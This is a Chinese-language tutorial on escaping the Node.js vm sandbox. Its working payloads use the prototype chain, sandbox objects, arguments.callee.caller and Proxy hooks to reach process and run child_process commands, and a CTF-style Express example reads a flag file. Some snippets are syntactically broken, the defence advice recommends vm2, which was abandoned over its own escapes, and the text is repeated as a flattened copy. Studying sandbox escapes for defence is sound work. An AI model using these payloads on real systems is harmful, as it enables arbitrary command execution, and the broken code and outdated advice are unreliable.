NodeJs vm沙箱逃逸
字数 1455 2025-08-23 18:31:34

Node.js VM 沙箱逃逸全面指南

1. Node.js VM 模块基础

1.1 沙箱基本概念

沙箱是一种安全机制,为运行中的程序提供隔离环境,主要用于运行来源不可信、具有破坏性或意图不明的程序。

Node.js 提供了 vm 模块来创建隔离环境运行不受信任的代码,但官方不推荐使用 vm 模块,因为存在逃逸风险。

1.2 VM 模块核心方法

1.2.1 vm.createContext([sandbox])

  • 使用前需要先创建沙箱对象
  • 如果没有提供 sandbox 参数,会生成一个空的沙箱对象
  • V8 引擎为沙箱对象在当前 global 外创建新作用域
  • 沙箱内部无法访问 global 中的属性

1.2.2 vm.runInThisContext(code)

  • 在当前 global 下创建作用域(sandbox)
  • 将接收到的参数作为代码运行
  • 可以访问 global 上的全局变量,但无法访问自定义变量
const vm = require('vm');
sx = {'name': 'chiling', 'age': 18}
context = vm.createContext(sx)
const result = vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`, context);
console.log(result)

1.2.3 vm.runInContext(code, contextifiedSandbox[, options])

  • 参数为要执行的代码和创建完作用域的沙箱对象
  • 代码会在传入的沙箱对象的上下文中执行
  • 需要与 createContext 配合使用
const vm = require("vm");
const sandbox = {x: 2};
vm.createContext(sandbox);
const code = 'this.toString.constructor("return process")();';
const res = vm.runInContext(code, sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));

1.2.4 vm.runInNewContext

  • 效果相当于 createContextrunInContext 的组合
  • 可以提供 context 也可以不提供,不提供则默认生成一个
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res = vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));

2. 沙箱逃逸原理与技术

2.1 基础逃逸方法

2.1.1 通过原型链逃逸

const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res = vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));

原理分析:

  1. this 指向 Context
  2. 通过原型链可以拿到 Function 构造函数
  3. 通过 Function 可以获取 process 对象
  4. 通过 process 可以调用 child_process 执行命令

2.1.2 通过沙箱内对象逃逸

const vm = require("vm");
const sandbox = {x: []};
vm.createContext(sandbox);
const res = vm.runInNewContext('x.constructor.constructor("return process")()', sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));

注意:数字、字符串、布尔等 primitive 类型无法使用此方法,因为它们是传值而非传引用。

2.2 绕过 Object.create(null) 的限制

当沙箱原型对象设置为 null 时,this.constructor 无法获取对象:

const vm = require("vm");
const sandbox = Object.create(null);
vm.createContext(sandbox);
const code = "this.constructor.constructor('return process')().env";
console.log(vm.runInContext(code, sandbox)); // 报错

2.2.1 使用 arguments.callee.caller 绕过

arguments.callee 是正在执行的 Function 对象,arguments.callee.caller 是调用当前函数的外层函数。

const vm = require('vm');
const func = `(
    const a = {}
    a.toString = function() {
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').exec('calc').toString()
    }
    return a
)()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
console.log("" + res); // 触发 toString()

2.3 使用 Proxy 进行属性劫持

2.3.1 使用 get 钩子

const vm = require("vm");
const script = `new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').exec('calc');
    }
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc); // 访问任意属性触发

2.3.2 使用 set 钩子

const vm = require("vm");
const func = `new Proxy({}, {
    set: function(my,key, value) {
        (value.constructor.constructor('return process'))()
            .mainModule.require('child_process')
            .execSync('calc').toString()
    }
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
res[''] = {}; // 设置属性触发

3. 实际案例分析

3.1 示例应用代码

const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}

app.use(bodyParser.json());

app.post('/:lib/:f', (req, res) => {
    let jsonlib = require(req.params.lib);
    let valid = jsonlib[req.params.f](req.body);
    let p;
    if(config.p){
        p = config.p;
    }
    let data = fs.readFileSync(p).toString();
    res.send({
        "validator": valid,
        "data": data,
        "msg": "data is corrupted"
    })
});

const PORT = 3000;
app.listen(PORT, ()=>{
    console.log(`Server is running on port ${PORT}`);
});

3.2 攻击方法

方法一:直接读取 flag

require('fs').readFileSync('./flag').toString()

方法二:利用 vm 沙箱逃逸

require('vm').vm.runInNewContext(
    ['this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('./flag').toString()']
)

4. 防御建议

  1. 避免使用 Node.js 的 vm 模块处理不受信任的代码
  2. 考虑使用更安全的替代方案如 vm2 模块
  3. 如果必须使用 vm,确保沙箱对象原型为 null
  4. 禁用危险的内置对象和方法
  5. 严格限制沙箱内代码的执行权限

5. 总结

Node.js 的 vm 模块虽然提供了沙箱环境,但由于 JavaScript 的动态特性,存在多种逃逸方法。攻击者可以通过原型链、arguments.callee.callerProxy 等方式突破沙箱限制,获取 process 对象并执行任意命令。在实际开发中,应谨慎使用 vm 模块,或选择更安全的替代方案。

Node.js VM 沙箱逃逸全面指南 1. Node.js VM 模块基础 1.1 沙箱基本概念 沙箱是一种安全机制,为运行中的程序提供隔离环境,主要用于运行来源不可信、具有破坏性或意图不明的程序。 Node.js 提供了 vm 模块来创建隔离环境运行不受信任的代码,但官方不推荐使用 vm 模块,因为存在逃逸风险。 1.2 VM 模块核心方法 1.2.1 vm.createContext([sandbox]) 使用前需要先创建沙箱对象 如果没有提供 sandbox 参数,会生成一个空的沙箱对象 V8 引擎为沙箱对象在当前 global 外创建新作用域 沙箱内部无法访问 global 中的属性 1.2.2 vm.runInThisContext(code) 在当前 global 下创建作用域(sandbox) 将接收到的参数作为代码运行 可以访问 global 上的全局变量,但无法访问自定义变量 1.2.3 vm.runInContext(code, contextifiedSandbox[, options]) 参数为要执行的代码和创建完作用域的沙箱对象 代码会在传入的沙箱对象的上下文中执行 需要与 createContext 配合使用 1.2.4 vm.runInNewContext 效果相当于 createContext 和 runInContext 的组合 可以提供 context 也可以不提供,不提供则默认生成一个 2. 沙箱逃逸原理与技术 2.1 基础逃逸方法 2.1.1 通过原型链逃逸 原理分析: this 指向 Context 通过原型链可以拿到 Function 构造函数 通过 Function 可以获取 process 对象 通过 process 可以调用 child_process 执行命令 2.1.2 通过沙箱内对象逃逸 注意:数字、字符串、布尔等 primitive 类型无法使用此方法,因为它们是传值而非传引用。 2.2 绕过 Object.create(null) 的限制 当沙箱原型对象设置为 null 时, this.constructor 无法获取对象: 2.2.1 使用 arguments.callee.caller 绕过 arguments.callee 是正在执行的 Function 对象, arguments.callee.caller 是调用当前函数的外层函数。 2.3 使用 Proxy 进行属性劫持 2.3.1 使用 get 钩子 2.3.2 使用 set 钩子 3. 实际案例分析 3.1 示例应用代码 3.2 攻击方法 方法一:直接读取 flag 方法二:利用 vm 沙箱逃逸 4. 防御建议 避免使用 Node.js 的 vm 模块处理不受信任的代码 考虑使用更安全的替代方案如 vm2 模块 如果必须使用 vm ,确保沙箱对象原型为 null 禁用危险的内置对象和方法 严格限制沙箱内代码的执行权限 5. 总结 Node.js 的 vm 模块虽然提供了沙箱环境,但由于 JavaScript 的动态特性,存在多种逃逸方法。攻击者可以通过原型链、 arguments.callee.caller 或 Proxy 等方式突破沙箱限制,获取 process 对象并执行任意命令。在实际开发中,应谨慎使用 vm 模块,或选择更安全的替代方案。